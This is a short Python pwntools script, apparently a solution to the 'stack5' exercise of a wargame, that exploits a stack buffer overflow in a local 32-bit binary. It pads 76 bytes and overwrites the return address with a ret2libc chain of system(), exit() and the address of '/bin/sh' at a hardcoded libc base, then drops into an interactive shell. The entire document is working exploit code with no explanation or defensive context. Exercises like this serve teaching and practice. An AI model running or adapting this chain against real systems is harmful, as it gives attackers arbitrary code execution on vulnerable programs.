from pwn import *

p=process("./stack5")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_base=0xf7e04000
bin_sh_addr=libc_base+libc.search("/bin/sh").next()
system_addr=libc_base+libc.symbols["system"]
exit_addr = libc_base + libc.symbols["exit"] 
payload="A"*76+p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)
p.sendline(payload)

p.interactive()

